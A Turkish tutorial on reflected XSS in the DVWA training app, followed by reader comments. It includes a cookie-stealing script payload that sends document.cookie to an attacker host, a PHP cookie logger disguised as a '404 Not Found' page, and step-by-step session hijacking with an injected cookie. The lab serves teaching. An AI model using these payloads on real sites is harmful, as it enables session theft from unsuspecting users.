Ders 19 - Reflected XSS (Low Level)
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak XSS yoluyla saldırıda bulunulacaktır.

Dersin Hedefi

DVWA adlı web uygulamasındaki kullanıcının oturumunu senaryo gereği çalın.

Reflected XSS Nedir?

Açılımı Cross-Site Scripting olan XSS saldırıları Reflected XSS, Stored XSS ve DOM XSS olmak üzere üçe ayrılmaktadır. Reflected XSS saldırısı bir web uygulamasının veri giriş noktalarında eğer denetleme/filtreleme/bloklama mekanizmaları yoksa ve saldırganın bu veri giriş noktasına girdiği script kodları (örn; javascript, visual basic script) sayfaya çıktı olarak "yansıtılıyorsa" saldırganların bu yolla kendi değerlerini sayfaya yansıttırması işlemine denir. Reflected kelimesi Türkçede "yansıtılmış" anlamına gelmektedir. Stored XSS saldırısı, bir web uygulamasının veri giriş noktalarında eğer denetleme/filtreleme/bloklama mekanizması yine yoksa ve saldırganın bu veri giriş noktasına girdiği script kodları (örn; javascript, visual basic script) veritabanına kaydolarak sayafaya çıktı olarak yansıtılıyorsa saldırganların bu yolla kendi değerlerini veritabanına kaydedip sayfaya yansıttırması işlemine denir. DOM XSS'e gelince bu saldırı ise saldırganın (içerisine script kodları ekleyerek) özenle hazırladığı bir url'i internette bir yolla paylaşması sonrası linke gidildiğinde kodların sunucuya hiç gitmeden (istemci) tarayıcıda dönüp ekrana yansıtılmasına denir.

Özetle; Reflected XSS, saldırganın girdiği kodların sunucuya gidip sunucuda barınmadan (istemcilere) geri döndüğü saldırılara denir. Stored XSS, saldırganın girdiği kodların sunucuya gidip sunucuda bir depolama formatında saklandığı (örn; veritabanı) ve bu depolamadan (istemcilere) geri döndüğü saldırılara denir. DOM XSS, saldırganın girdiği kodların sunucuya gitmeden istemci tarayıcısından istemci tarayıcısına döndüğü saldırılara denir.

NOT: Bu yazıda Stored XSS saldırısı düzenlenmeyecektir. Çünkü bu sonraki yazının konusudur.



Reflected XSS Nasıl Yapılır?

Öncelikle DVWA'nın bize sunduğu Reflected XSS sayfasını bir inceleyelim. Aşağıda DVWA'nın Reflected XSS sayfasında bizi karşıladığı içeriği görmektesiniz.





Ekranda gördüğünüz metin kutusuna girilecek bir veri sonrası Submit butonuna bastığınız takdirde girdiğiniz veri ekrana yansıtılacaktır.





Bu mekanizmayı analiz edecek olursak



Başlangıçta Link:
http://localhost/dvwa/vulnerabilities/xss_r/

Veri Submit'lenince Link:
http://localhost/dvwa/vulnerabilities/xss_r/?name=hasan



Görüldüğü üzere metin kutusuna hasan kelimesi girildiğinde linke name parametresi ve değer olarak da hasan kelimesi eklenmektedir. Yani bu şu anlama gelir: Sizin metin kutusuna hasan kelimesini girip Submit butonuna basmanızla hasan kelimesinin olduğu linki tarayıcınızın adres çubuğuna girip ENTER'lamanız arasında bir fark yoktur. İkisi de aynı işi yapmaktadır. Dolayısıyla bu ilişkiyi bilen saldırgan kendi hazırladığı linki kurbana tıklatarak sanki kurban metin kutusuna veri girmiş de Submit'lemiş gibi bir duruma sokulabilir.

Yukarıda anlatıldığı gibi kullanıcıdan gelen verinin ekrana yansıtıldığı bir işleyişe sahip web sitelerinde eğer metin kutusundan ya da link parametresinden gelen verilere karşı bir denetleme uygulanmazsa o siteler Reflected XSS saldırılarına maruz kalabilirler. Çünkü filtre yoksa kötü niyetli bir kullanıcı ilgili noktalara - metin kutusuna ya da link parametresine - javascript kodu girebilir. Javascript kodu girebilmesi demek şu demektir: Saldırgan javascript dilinin verdiği tüm olanakları hedef site üzerinde deneyebilir. Javascript dili web geliştiricileri içindir ve öyle de kalmalıdır. Aksi takdirde bu dil saldırganlarca çalıp çırpma için kullanılabilir.

Şimdi DVWA'nın bizlere sunduğu Reflected XSS sayfası Reflected XSS zafiyetine sahip mi değil mi keşfedelim. Metin kutusuna ekranda popup penceresi çıkarmaya yarayan aşağıdaki javascript kodunu girin:

<script>alert('Sayfa XSS Açığına Sahip');</script>



Veyahut tarayıcınızın adres çubuğuna aşağıdakini girin:

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>alert(‘Sayfa XSS Açığına Sahip’);</script>




Yukarıdakilerden herhangi biri yapıldığı takdirde ekrana javascript kodları yansıtılacaktır ve ardından tarayıcı bu kodları yorumlayıp ekrana bir popup penceresi getirecektir.





Bu pencere eğer geldiyse demek ki hedef site kullanıcıdan gelen javascript kodlarını engellemiyor demektir. Yani site XSS açığına sahip demektir.

NOT: Eğer yukarıda anlatılan işlemi Chrome tarayıcısında denerseniz site zafiyete sahip olsa dahi popup penceresi gelmeyecektir. Bunun nedeni Chrome'un güvenlik nedeniyle GET ya da POST ile gelen javascript komutlarının çalışmasını engelliyor oluşundan dolayıdır. Engellediğine dair bildirimi F12'ye basıp Konsol sekmesindeki kırmızı uyarıdan görebilirsiniz. XSS zafiyet tespiti için başka bir tarayıcı kullanın.



Peki saldırgan hedef sitenin XSS açığına sahip olduğunu öğrendikten sonra ne yapabilir? Misal vermek gerekirse saldırgan hedef siteyi ziyaret eden kurbanın DVWA'ya ait çerezini çalabilir. Böylece saldırgan kurbanın kullanıcı adı ve şifresini bilmeden kurbanın çereziyle hedef sitede kurban adına oturum açabilir. Bu nasıl olur sorusunu şöyle bir saldırı senaryosuyla açıklayalım:



Bir sayfaya yönlendiren Javascript kodu:
window.location.href=”saldirganinsitesi.com/index.php”;

Bir sayfaya yönlendirirken çerezi de beraberinde yollayan Javascript kodu:
window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;

Hazırlanmış Nihai Link:
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script>




Yukarıdaki nihai linkten görülebileceği üzere saldırgan hedef sitenin zafiyetini bildiği için parametreye javascript kodu girmiştir. Girilen javascript kodu çerezi alıp saldırganın sitesine göndermeye yarayan bir yönlendirme kodu içermektedir. Şimdi diyelim ki dvwa uygulaması çok kullanıcılı bir web sitesi. Bu web sitesine üye olan birçok kimseye saldırgan yukarıdaki hazırladığı linki postalamış olsun. Epostayı alan şahıslar dvwa adlı zafiyete sahip sitede oturum açmış vaziyette iken eposta adreslerine gelen bu linke tıkladıklarında önce DVWA'ya giderler, ardından parametredeki javascript komutu çalıştığında DVWA'daki çerezlerini beraberinde alarak saldırganın sitesine yönlendirilirler. Böylece saldırgan kendi web sitesinde hazırladığı PHP kodlaması ile kurbanların çerezlerini çalmış olur. Aklınıza şöyle bir soru gelmesi gerekir: Niye saldırgan böyle dolambaçlı yollara giriyor da direk kendi sitesinin linkini epostayla kurbanlara göndermiyor? Bunun nedeni şudur: Kullanıcının DVWA'ya ait oturum çerezi sadece DVWA sayfası tarayıcı ekranındayken ulaşılabilirdir. Yani kullanıcı aynı tarayıcının başka sekmesine geçtiğinde - mesela epostasına bakmak için hotmail'ine geçtiğinde - current cookie, diğer tabirle o an ki cookie sayfaya göre değişmektedir. Saldırganın hedefi ise DVWA oturumunu çalmaktır. Çünkü zafiyete sahip site DVWA'dır. Bu yüzden saldırgan kurbanı önce zafiyete sahip web sitenin sayfasına gönderir, orada javascript kodunun sayfaya yansıtılıp çalışmasını bekler, çalıştığında kurbanın DVWA'ya ait çerezi sayfa yönlendirme linkinin sonuna eklenir ve nihayetinde sayfa yönlendirme komutu kurbanı saldırganın sitesine gönderir. İşleyiş bu şekildedir.

Kurban saldırganın sayfasına yönlendirilirken aslında tıpkı tarayıcının adres çubuğuna saldırganın web sitesinin adresini girip ENTER'laması gibi saldırganın sunucusuna bir talepte bulunmaktadır. Talebi alan saldırganın sunucusu kendisine gelen linkteki ( saldirganinsitesi.com/index.php?cookie=e01155fb8e87cae09cc0 ) çerez verisini $_GET[‘cookie’] gibi bir kodlamayla çekip bir dosyaya yazdırabilir. Böylece saldırgan aldığı çerezlerden birini kendi tarayıcısına dahil ederek var olan bir dvwa kullanıcısının oturumunu devralabilir (çalabilir). Bu anlatılan işlemin bir örneği birazdan sizlere sunulacaktır.

Kurbanın epostasına gelen linke tıklaması sonucu yönlendirildiği saldırgana ait sayfadan kurbanın kuşkulanmasını önlemek için saldırgan çeşitli entrikalara girebilir. Mesela saldırgan kurbanın yönlendirildiği sayfaya, yani kendi web sitesine “404 Not Found” yazısını (süsünü) koyabilir. Böylece kurbanın yapacağı şey o sekmeyi kapatmaktan başka bir şey olmayacaktır. Fakat arkaplanda çerezini saldırgana kaptırmış olacaktır. Başından beri bahsettiğimiz çerezleri kurbanlardan çalıp ekrana 404 Not Found uyarısı veren sayfanın PHP kodlamaları merak edenler için aşağıda verilmiştir:

<html>
	<head>
		<title>404 Not Found</title> 
	</head>
	<body>
	404 Not Found
		<?php
			$ip = $_SERVER["REMOTE_ADDR"];  	  // Sayfaya girenin ip’si alınır.
			$cookie = $_GET["cookie"];            // Hazırlanmış linke tıklayanın çerezi alınır.
			$dateTime = date('d.m.y \t H:i:s');   // Kurbanın hazırlanmış linke tıkladığı anki zaman alınır.
			
			$file = fopen("cerezler.html", "a+");

			fwrite($file, "#######################################
"); fwrite($file, "Kurbanin IP Adresi : " . $ip . "
"); fwrite($file, "Tiklama Zamani : " . $dateTime . "
"); fwrite($file, "Kurbanin Cerezi : " . $cookie . "
"); fwrite($file, "#######################################


"); fclose($file); ?> </body> </html>


Yukarıdaki kodlamalarda saldırgan kendisine gelen taleplerin (linklerin) sonunda yer alan kurbanlara ait çerezleri cerezler.html adlı dosyaya kaydetmektedir. 12. satırda cerezler.html dosyası a+ modunda açıldığı için gelen her bir çerez birbirinin yerine değilde alt alta gelecek şekilde cerezler.html dosyasına yerleşecektir. Yani a+ modu sayesinde yeni gelen çerezin bir önceki çerezin üzerine yazılmasına mani olunacaktır. Böylece saldırgan ele geçirdiği çerezlerden birini seçip tarayıcısına enjekte ederek zafiyet barındıran hedef sitede kurbanın oturumunu devralabilecektir.

Şu ana kadar işin ana hatları size bahsedilmiştir. Fakat pratikte bu işin nasıl gerçekleştirileceği gösterilmemiştir. Bu anlatılanları pratik olarak uygulayıp kullanıcı adı ve şifre girmeden kurbana ait oturuma giriş yapmayı deneyimlemek isterseniz sıradaki başlık bu konu hakkında olacaktır.

Ekstra

Şimdi yukarıda bahsedilenleri kendi makinamızda deneyelim ve gerçekten de çerezle oturum devralınabiliyor muyu görelim. Bu işlem için biz hem kurban olacağız hem de saldırgan. Bu nedenle bunu simule edebilmek için iki farklı tarayıcıya ihtiyacımız vardır. Kurban olarak Firefox tarayıcısını kullanalım. Saldırgan olarak da Chrome tarayıcısını kullanalım.

Öncelikle saldırganın sitesini kendi sanal sunucumuzda kuralım. Eğer Linux'ta DVWA'yı çalıştırıyorsanız /var/www/ dizini içerisinde saldirganinSitesi adlı bir klasör oluşturun, Windows'ta DVWA'yı çalıştırıyorsanız C:\xampp\htdocs\ dizini içerisinde saldirganinSitesi adlı bir klasör oluşturun. Bu klasörün içerisine index.php adlı bir dosya koyun ve dosyanın içerisine de aşağıdakileri girip kaydedin.

<html>
	<head>
		<title>404 Not Found</title> 
	</head>
	<body>
	404 Not Found
		<?php
			$ip = $_SERVER["REMOTE_ADDR"];  	  // Sayfaya girenin ip’si alınır.
			$cookie = $_GET["cookie"];            // Hazırlanmış linke tıklayanın çerezi alınır.
			$dateTime = date('d.m.y \t H:i:s');   // Kurbanın hazırlanmış linke tıkladığı anki zaman alınır.
			
			$file = fopen("cerezler.html", "a+");

			fwrite($file, "#######################################
"); fwrite($file, "Kurbanin IP Adresi : " . $ip . "
"); fwrite($file, "Tiklama Zamani : " . $dateTime . "
"); fwrite($file, "Kurbanin Cerezi : " . $cookie . "
"); fwrite($file, "#######################################


"); fclose($file); ?> </body> </html>


Ardından Linux kullanıcıları terminale aşağıdakini girsin:

sudo chmod -R 777 /var/www/saldirganinSitesi


Böylece saldırganın sitesi hazır vaziyettedir. Şimdi saldırganın önceki başlıkta anlatılan zararlı linkini bir görelim.



http://localhost/dvwa/vulnerabilities/xss_r/?name=<script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script>




Yukarıdaki zararlı linkin kırmızı bölgesini localhost/saldirganinSitesi yapalım. Çünkü bizim sanal sunucumuz aynı zamanda saldırganın sunucusu olacak.



http://localhost/dvwa/vulnerabilities/xss_r/?name=<script> window.location.href=”http://localhost/saldirganinSitesi/index.php?cookie=” + document.cookie;</script>




Ardından yukarıdaki zararlı linkin kırmızı renk ile vurgulanan + karakterini %2B yapalım.


http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>window.location.href="http://localhost/saldirganinSitesi/index.php?cookie="%2Bdocument.cookie</script>



+ karakterinin %2B'ye dönüştürülmesi gerekmektedir, çünkü + karakteri URL'lerde özel bir anlama sahiptir. Boşluk anlamına gelir. Mesela siz eğer DVWA'nın ekranındaki metin kutusuna "hasan fatih" string'ini girerseniz ENTER'ladıktan sonra URL'de bu veri ...?name=hasan+fatih şeklinde kodlanacaktır. Yani boşluğun yerine URL'de + sembolü gelecektir. Dolayısıyla eğer zararlı linkteki +'yı olduğu gibi bırakırsak parametredeki + karakteri sayfanın içerisine yansıyacağı zaman boşluk olarak yansıyacaktır ve bu yüzden enjekte edilen javascript kodları syntax hatası verip çalışmayacaktır. O nedenle zararlı URL'nin + işaretini %2B olarak yukarıdaki gibi değiştirin. Böylece parametredeki javascript kodu sayfa içine yüklendiğinde (yansıtıldığında) %2B kodlaması + olarak yansıtılacaktır ve javascript kodu bu sayede arzulandığı gibi çalışacaktır.

Böylelikle saldırganın göndereceği zararlı link hazır durumdadır. Artık zararlı link kurbana gönderilebilir ve kurbanın çerezinin cerezler.html dosyasına düşmesi beklenebilir. Farzedin ki kurban Firefox tarayıcısından DVWA'ya girdi ve oturum açtı. Bunun için Firefox tarayıcısını açın, adres çubuğuna http://localhost/dvwa adresini girin, kullanıcı adı olarak admin, şifre olarak password yazarak oturumu açın ve DVWA Security butonuna tıklayıp güvenlik seviyesini Impossible'dan Low'a çekin. Ve yine farzedin ki saldırgan zararlı linki kurbana eposta yoluyla gönderdi, kurban da bu linke tıkladı. İkinci farzettiğimiz işlem için kurbanın kullandığı tarayıcı olan Firefox'tan adres çubuğuna


http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>window.location.href="http://localhost/saldirganinSitesi/index.php?cookie="%2Bdocument.cookie</script>




yukarıdaki zararlı linki girin ve ENTER'layın. Böylelikle kurban olarak siz oturum çerezinizi saldırgana göndermiş oldunuz. Saldırgansa hazırladığı php dosyası ile kurbandan gelen çerezi cerezler.html dosyasına kaydetmiş oldu. Kurban yönlendirildiği sayfada şöyle bir çıktıyla karşılaşacaktır.





Saldırgansa cerezler.html dosyasına baktığında şu çıktıyı görecektir.

http://localhost/saldirganinSitesi/cerezler.html





Saldırgan bu çerezi gördüğünde yapacağı iş Chrome'un EditThisCookie adlı eklentisiyle çaldığı çerezi kendi tarayıcısına dahil etmek olacaktır. Bunun için Chrome'u açın. Adres çubuğuna aşağıdaki linki girin:

https://chrome.google.com/webstore/category/extensions?hl=tr





Resimde de belirtildiği gibi ilk olarak arama çubuğuna cookie injector yazın. Ardından gelen eklentiler içerisinden EditThisCookie'nin yanındaki Chrome'a Ekle butonuna tıklayın. Ekrana gelecek popup penceresi için de Add Extension butonuna tıklayın. Böylelikle EditThisCookie eklentisini kurmuş olursunuz.

Şimdi bir saldırgan olarak Chrome'dan http://localhost/dvwa adresine gidin. Oturum açmadığınız için DVWA'nın login ekranına yönlendirileceksiniz. Bu login ekranını geçmek için, yani kullanıcı adı ve şifre girmeden birinin oturumunu devralabilmek için çaldığınız çerezi tarayıcınıza enjekte etmeniz gerekmektedir. Bu yüzden Chrome'un yan sekmesine geçin ve adres çubuğuna http://localhost/saldirganinSitesi/cerezler.html linkini girin. Çerezi kopyalayın.





Şimdi DVWA'nın login sayfasının açık olduğu sekmeye geçin ve EditThisCookie eklentisinin simgesine tıklayın.





Açılan pencerede eklenti ilk olarak yakaladığı çerez değişkenlerinden security'yi size sunacaktır. Oraya low kelimesini girin, çünkü kurbanın çerezinde security değişkeni low idi (security=low).





Bu işlemi yaptıktan sonra aynı pencerenin yukarısındaki localhost | PHPSESSID sekmesine tıklayın ve açılan seçeneklerden Value kısmına kurbanın çerezindeki PHPSESSID değerini yapıştırın.





Son olarak pencerenin aşağısındaki yeşil tick işaretine tıklayın. Böylece saldırgan kurbanın çerezini kendi tarayıcısına enjekte etmiş olur. Şimdi saldırganın tarayıcısından (Chrome'dan) http://localhost/dvwa adresine gidin. Göreceğiniz üzere sayfa sizi DVWA'nın anasayfasına yönlendirecektir. Yani login sayfası ekrana gelmeyecektir. Çünkü artık kurbanın oturumunu devralmış bulunmaktasınız.





Artık bir saldırgan olarak kurban adına hedef sitede dilediğinizi yapabilirsiniz.

[*] Ek Bilgi:
Uygulamadan uygulamaya değişiklik gösteren bir durum vardır. Örneğin DVWA web uygulaması tasarımı gereği oturum açtığınızda dahi login sayfasına (url'sine) gittiğinizde yine login sayfasını ekranınıza vermektedir. Bu esasında mantığa uygun bir durum değildir ve bozuk bir tasarım görüntüsü vermektedir. Fakat bu tasarımsal bozukluğun yanılgısına düşmeden uygulamanın davranışını göz önüne alarak reflected XSS ile aldığımız kurban oturum çerezini tarayıcımıza enjekte ettiğimizde "sayfayı refresh'leme" yerine oturumumuz yokken erişim sağlayamadığımız anasayfa url'ine gidebiliyor muyuz testi yaptık ve başarılı olabildiğimizi gördük. Eğer yaptığımız çerez enjeksiyonu başarılı olmasaydı enjeksiyon öncesi erişemediğimiz anasayfa ve diğer DVWA sayfalarına (yani içeriye) yine erişemez olurduk. Fakat enjeksiyon sonrası erişilemez sayfalara erişebildiğimizi gördük. Dolayısıyla kurbanın oturumuna geçiş yapmış olduk.

Not: Tarayıcınızda oturumunuz açık değilken ve tarayıcınıza kurban çerezini enjekte etmeden önce örneğin anasayfa url'ini Enter'lamayı denerseniz bu, sizi login sayfasına yönlendirecektir. Yani DVWA sizi içeri almayacaktır. Fakat enjeksiyon sonrası tekrar anasayfa url'ini Enter'ladığınızda anasayfa içeriği ekrana yansıyacaktır. Yani artık içerdesiniz demektir.
Bu yazı 21.01.2016 tarihinde, saat 22:21:53'de yazılmıştır. 12.06.2019 tarihi ve 19:26:20 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 4622
Yorumlar
Yunus Emre Geldegül
Müthiş bir yazı, daha iyisi düşünülemezdi. Bu siteyi daha önce fark etmemiş olmam büyük eksiklik. Teşekkür ediyorum.
Bu yorum 05.05.2016 tarihinde, saat 13:41:20'de gönderilmiştir.
Kemal haksız
Gördüğüm en iyi türkçe teknik yazılardardan biri, tebrik ederim.
Bu yorum 19.05.2016 tarihinde, saat 19:50:11'de gönderilmiştir.
Ali Hüsamiddin Uçar
Teknik bilgi açısından gereğinden fazlasını verildigini düşünüyorum. Emeginize Saglık.
Bu yorum 18.04.2017 tarihinde, saat 11:14:29'de gönderilmiştir.
Ali Korkmaz
Merhaba xss filtreleme islemlerin iyi kavramak icin hangi akani iyi bilmek gerekiyor ?
Bu yorum 20.11.2018 tarihinde, saat 22:35:17'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
Merhaba Ali bey, sorunuzdaki "akani" kelimesini pek anlayamadım, fakat genel itibariyle xss filtrelemelerini nasıl daya iyi kavrayabilirim sorunuza cevap vermek gerekirse PHPIDS adlı açık kaynak kodlu web application firewall'unun xss dahil birçok zafiyete karşı filtreleme kurallarını örnek olarak verebilirim: https://github.com/PHPIDS/PHPIDS/blob/master/lib/IDS/default_filter.json Bu adreste birçok kural bloğu mevcut. Her kural bloğunda rule (kural), description (tanımlama), tags (etiketler) satırlarına göz atabilirsiniz. Kurallar regexp şelinde yer almaktadır. Dolayısıyla regexp dilini bilmeniz gerekmektedir. Zira filtrelemelerde en sağlam metot regexp kullanmaktan geçer. Belirttiğim adreste misal olarak en sade xss filtrelemesine bakmak isterseniz description'ı "Detects very basic XSS probings" olan bloktaki kuralı inceleyebilirsiniz. Not: Bu arada PHPIDS waf (web application firewall)'ı artık geliştirilmemektedir. Bir güvenlik önlemi almak istesem nasıl bir kural yazmalıyım diyorsanız PHPIDS'in kaynak kodlarını belirttiğim github adresinden inceleyebilir ve referans olarak kullanabilirsiniz.
Bu yorum 21.11.2018 tarihinde, saat 10:25:40'de gönderilmiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :